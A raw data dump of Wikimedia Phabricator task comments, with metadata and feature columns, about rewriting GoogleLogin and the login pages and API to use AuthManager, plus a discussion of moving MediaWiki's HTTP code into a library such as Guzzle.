+515093,Login credentials are not kept between runs,What's the output of pwb.py version?,,,1440609695,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-2q5az2skof67wxc6rxji,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+110294,Update GoogleLogin to use AuthManager,"This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin instead of having to do its own special page and such.
+",Medium,50.0,1440571585,1466226084.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_description,resolved,True,c3,3,True,False,False,7,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+697752,Update GoogleLogin to use AuthManager,"Change 299866 merged by jenkins-bot:
+Rewrite GoogleLogin to be a PrimaryAuthenticationProvider
+
+[[https://gerrit.wikimedia.org/r/299866]]",,,1469026180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,54,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+697246,Update GoogleLogin to use AuthManager,"Change 299866 had a related patch set uploaded (by Gergő Tisza):
+Rewrite GoogleLogin to be a PrimaryAuthenticationProvider
+
+[[https://gerrit.wikimedia.org/r/299866]]
+",,,1468963662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,54,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+684587,Update GoogleLogin to use AuthManager,">>! In T110294#2394443, @Florian wrote:
+> * Login -> Signup -> Login workflow should be implemented as it is reasonable, that an user, who authenticates with an external site, want to create a new account if there isn't one so far for this credentials, or at least an option to create a new account (I thought we already have a task for this but I couldn't find it :/)
+
+-> {T138678}",,,1466878654,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,51,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1
+683912,Update GoogleLogin to use AuthManager,"I think, that the `ual_external_account_identifier` should be a string, or maybe a text field (I'm not sure, how long an identifier can be). I think most of the external account ids will be an integer, a GUID or the e-mail address. Any other identifier sounds like a very very rare case (at least I haven't seen this so far, which doesn't mean, that it doesn't exist).
+
+> Can we sensibly apply the shown uniqueness constraint on it to help prevent multiple accounts linked to the same external account?
+I can't think how we should handle, if one external account is linked to multiple ""internal"" users. If a user wants to login with the account, what wiki user should be logged in? Should the user has the possibility to select the correct user? There could be a reasonable use case, if an user has one admin account and one ""normal"" user account but want to login with one external account (and select which what account he want to login). So I'm not entirely sure, what we want to support and what not, depending on this, we can apply the unique index or not :/",,,1466728596,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,51,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+682144,Update GoogleLogin to use AuthManager,">>! In T110294#2394443, @Florian wrote:
+> * An extension still has to handle a ""connection"" between the local wiki account and the identifier of the external site (GoogleLogin uses the user_google_user table for that). However, it would be cool to have a central table for it, and an interface that allows an extension to specify the type of the connection (e.g. google_auth) and the interface handles the connection between multiple external site account connections and the one local wiki account (the same what GoogleLogin does with the GoogleUser class and the user_google_user table, but more global and better thought). What do you think about that? It would make it easier for Linkproviders to create/manage links between accounts :)
+
+That table would need to be something like
+```
+CREATE TABLE /*_*/user_account_links (
+    ual_id int unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT,
+    ual_user int unsigned NOT NULL, -- user_id or an ID from CentralIdLookup, same for all types.
+    ual_type int unsigned NOT NULL, -- FK to ualt_id
+    ual_external_account_identifier ??? NOT NULL
+);
+CREATE INDEX /*i*/ual_user_type ON /*_*/user_account_link (ual_user,ual_type);
+CREATE UNIQUE INDEX /*i*/ual_external_account ON /*_*/user_account_link (ual_type,ual_external_account_identifier);
+
+CREATE TABLE /*_*/user_account_link_types (
+    ualt_id int unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT,
+    ualt_type varchar(?) NOT NULL
+);
+CREATE UNIQUE INDEX /*i*/ualt_type ON /*_*/user_account_link_types (ualt_type);
+```
+The troublesome bit is that `ual_external_account_identifier` field. Is it a string (e.g. an email address), or an integer, or a GUID, or some JSON blob with multiple fields? How big does the field need to be? Can we sensibly apply the shown uniqueness constraint on it to help prevent multiple accounts linked to the same external account?",,,1466448997,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1
+682108,Update GoogleLogin to use AuthManager,"First of all: AuthManager is a lot easier to handle as AuthPlugin or (like GoogleLogin does) implementing anything from scratch. The interfaces provide nearly anything to integrate a login provider into the login/signup workflow. However, two points which we could do better:
+
+* Login -> Signup -> Login workflow should be implemented as it is reasonable, that an user, who authenticates with an external site, want to create a new account if there isn't one so far for this credentials, or at least an option to create a new account (I thought we already have a task for this but I couldn't find it :/)
+* An extension still has to handle a ""connection"" between the local wiki account and the identifier of the external site (GoogleLogin uses the user_google_user table for that). However, it would be cool to have a central table for it, and an interface that allows an extension to specify the type of the connection (e.g. google_auth) and the interface handles the connection between multiple external site account connections and the one local wiki account (the same what GoogleLogin does with the GoogleUser class and the user_google_user table, but more global and better thought). What do you think about that? It would make it easier for Linkproviders to create/manage links between accounts :)
+
+Otherwise I can't think about big pain points in using AuthManager, probably some examples would be good (however, linking some extensions on the doc page which already implement providers for different use cases may be enough as examples :)).",,,1466446702,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+681909,Update GoogleLogin to use AuthManager,"\o/
+
+If you have any feedback on how AuthManager made things better or worse for an extension like this, I'd like to hear it. One of our goals with AuthManager was to make authentication against an external site reasonably easy to do, compared to the old system where it was necessary to do all sorts of weird hacks.",,,1466433349,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+681421,Update GoogleLogin to use AuthManager,*yay* :),,,1466226084,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+681420,Update GoogleLogin to use AuthManager,"Change 289099 merged by jenkins-bot:
+Rewrite GoogleLogin to be a PrimaryAuthenticationProvider
+
+[[https://gerrit.wikimedia.org/r/289099]]",,,1466226079,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,50,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663299,Update GoogleLogin to use AuthManager,"Change 289099 had a related patch set uploaded (by Florianschmidtwelzow):
+WIP: Rewrite GoogleLogin to be a PrimaryAuthenticationProvider
+
+[[https://gerrit.wikimedia.org/r/289099]]
+",,,1463439518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+110277,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,,Medium,50.0,1440568477,1463426196.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_description,resolved,True,c3,3,True,False,False,7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+663382,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 289106 merged by jenkins-bot:
+Use AuthManager on special pages
+
+[[https://gerrit.wikimedia.org/r/289106]]",,,1463447287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663336,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 289106 had a related patch set uploaded (by Gergő Tisza):
+Use AuthManager on special pages
+
+[[https://gerrit.wikimedia.org/r/289106]]
+",,,1463441560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663080,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 240052 merged by jenkins-bot:
+Use AuthManager on special pages
+
+[[https://gerrit.wikimedia.org/r/240052]]",,,1463425296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+532296,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 240052 had a related patch set uploaded (by Gergő Tisza):
+[WIP] Use AuthManager on Special:Userlogin
+
+[[https://gerrit.wikimedia.org/r/240052]]
+",,,1442910313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+516375,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"This sounds closely related to T19312, perhaps even a duplicate.",,,1440725393,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+110276,Rewrite the login API to use AuthManager,,Medium,50.0,1440568357,1463426543.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-nzjjokthk5zkij3lcujl,task_description,resolved,True,c3,3,True,False,False,7,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+663407,Rewrite the login API to use AuthManager,"Change 289122 merged by jenkins-bot:
+API changes for AuthManager
+
+[[https://gerrit.wikimedia.org/r/289122]]",,,1463449341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+663394,Rewrite the login API to use AuthManager,"Change 289122 had a related patch set uploaded (by Gergő Tisza):
+API changes for AuthManager
+
+[[https://gerrit.wikimedia.org/r/289122]]
+",,,1463447694,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663116,Rewrite the login API to use AuthManager,"This is resolved now with the merge of the core AuthManager patches.
+
+There's no timeframe for when this will be available on WMF wikis, though, beyond ""soon"". The next step will be to resolve T110282, then a gradual deploy while watching for things to break.",,,1463426543,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+663082,Rewrite the login API to use AuthManager,"Change 265201 merged by jenkins-bot:
+API changes for AuthManager
+
+[[https://gerrit.wikimedia.org/r/265201]]",,,1463425307,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+593068,Rewrite the login API to use AuthManager,"Change 265201 had a related patch set uploaded (by Anomie):
+WIP: API changes for AuthManager
+
+[[https://gerrit.wikimedia.org/r/265201]]
+",,,1453259875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+110022,Move HTTP-related code from MW to its own library,"To be considered:
+* (includes/http) `Http`, `MWHttpRequest`, `CurlHttpRequest`
+* (libs) HttpAcceptParser, HttpAcceptNegotiator
+* (libs) MultiHttpClient
+* (libs) HttpStatus
+
+----
+This would mean that said library could be used by https://github.com/addwiki/mediawiki-api-base which is required by https://github.com/addwiki/wikibase-api.
+
+https://github.com/addwiki/wikibase-api could then easily be used by the WikibaseClient potentially helping to resolve T48556
+
+Not only that, but this code is also perfect for a library....",Medium,50.0,1440413306,,PHID-USER-u7w6n5ecde66oujx33pe,False,,False,PHID-TASK-ffygqkj467yqgxrb2avu,task_description,open,True,c3,3,True,False,,7,True,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+1436002,Move HTTP-related code from MW to its own library,"So, for this task it would still be great to have GuzzleHttpRequest or MWHttpRequest in its own library...
+
+Or have them implement ClientInterface.
+
+Or I guess I would just have to write some adapter.
+
+The whole point of this ticket is that the interface that is used in core is usable outside core in other libraries.",,,1580892300,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,239,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+1192836,Move HTTP-related code from MW to its own library,"Guzzle has been added to the codebase and made available through the new GuzzleHttpRequest class, per T202110.",,,1544457802,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,179,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+1125418,Move HTTP-related code from MW to its own library,">>! In T110022#4508947, @Legoktm wrote:
+>>>! In T110022#4502131, @Krinkle wrote:
+> I think this can also work backwards, like if upstream doesn't add support for newer PHP versions, then we're stuck.
+
+I agree that's a general concern to be aware of when comparing vendors. WordPress specifically, though, has no precedent for being slow to support new PHP versions. They've been as fast or faster than us. (PHP7.0 both in late 2015, PHP 7.2 also on par, or arguably we're behind if we also consider warnings).",,,1534785422,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,163,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+1125305,Move HTTP-related code from MW to its own library,"Made this suggestion in T201409 but figured it should be repeated here: whatever the implementation ends up being, it should be easy (or possibly required?) to set the User Agent string, with the goal that any caller will use that to specify what job/service/etc is making a call.  It makes it much, much easier to debug cross-service calls when you have that info.",,,1534778580,,PHID-USER-jzttt2rzt4bpbzkerkod,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,163,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+1123921,Move HTTP-related code from MW to its own library,">>! In T110022#4502131, @Krinkle wrote:
+> This means we can be reasonably certain that we can always use the latest stable version of the library, with upstream support for any issues that may arise in either its public interface or compatibility with any of the PHP versions MediaWiki supports.
+> 
+> It also means there likely isn't going to be a major release any time soon that would drop support for a PHP version we support, or that would make a breaking change in its public interface. This reduces the chances of getting stuck with an older or unsupported version.
+
+I think this can also work backwards, like if upstream doesn't add support for newer PHP versions, then we're stuck.",,,1534478654,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,163,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+1122381,Move HTTP-related code from MW to its own library,"I agree that non-static state and active maintenance are desirable traits. I haven't recently checked either library for those aspects, but I trust @BPirkle and @Tgr  that Guzzle is better in that regard.
+
+I'd like to instead provide feedback on another aspect: Stability.
+
+##### Stability
+
+Being part of WordPress has a very strong benefit with regards to stability. In particular:
+
+* WordPress is very serious about backwards compatibility.
+* WordPress is very serious about PHP compatibility.
+
+This means we can be reasonably certain that we can always use the latest stable version of the library, with upstream support for any issues that may arise in either its public interface or compatibility with any of the PHP versions MediaWiki supports.
+
+It also means there likely isn't going to be a major release any time soon that would drop support for a PHP version we support, or that would make a breaking change in its public interface. This reduces the chances of getting stuck with an older or unsupported version.
+",,,1534264978,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0
+1122379,Move HTTP-related code from MW to its own library,">>! In T110022#4479395, @Tgr wrote:
+>>>! In T110022#4478166, @Krinkle wrote:
+>> We'd basically map the exception class to a localisation message somewhere [..]
+> 
+> [..]
+> Mapping by class is not really useful. Mapping by message would involve regex parsing messages - possible but a bit icky (also fragile).
+
+>>! In T110022#4483081, @BPirkle wrote:
+> I wish we could map by exception class, but it seems challenging to do that in a useful way.   [..]
+
+I was suggesting only a simple map, or a catch-all even – not any form of message extraction. Looking at MediaWiki's current `Http`, `MWHttpRequest` and `MultiHttpClient` class, we also don't provide localisation for low-level details about the error, such as the path to a CA bundle. We have those in exception messages only, not localised. The only user-facing messages we have are:
+
+1. `http-invalid-url ($1: url)` – Based on a validation check before the request is made.
+2. `http-bad-status ($1: statusCode, $2: statusText)` – After a successful response, read from a public interface.
+3.  `http-internal-error` (//no params//) – Everything else.
+
+This is feasible with either of the two library options (Guzzle and Requests), and likely other libraries as well.",,,1534264869,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,162,True,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+1119983,Move HTTP-related code from MW to its own library,"I’m also a soft lean to Guzzle.  It seems more active recently than most of the alternatives, suitable to our needs, and generally popular.  I hate to overweigh “popularity” as a metric, but in the case of open source, momentum doesn’t hurt.  It is also much easier to google for, as searching for ""requests"" gives a flood of false positives.
+
+It seems like Requests is less active - the author says as much here:
+    https://github.com/rmccue/Requests/issues/320
+However, that’s not necessarily negative, it could simply mean the library is stable.  Its continued use WordPress should help maintain its critical mass, and gives us a reference implementation (for whatever that is or isn't worth).
+
+My goals with this conversation are
+1) avoid burning  unnecessary time by exploring obvious dead ends, or missing an obvious winner
+2) gather sufficient consensus and detail to create a properly focused subtask for the actual implementation
+
+I don't mind at all doing exploratory implementations with both Guzzle and Requests as part of that process.  (In fact, I already have them both installed in my local copy of mediawiki and have confirmed that basic GET operations work happily with both.)
+
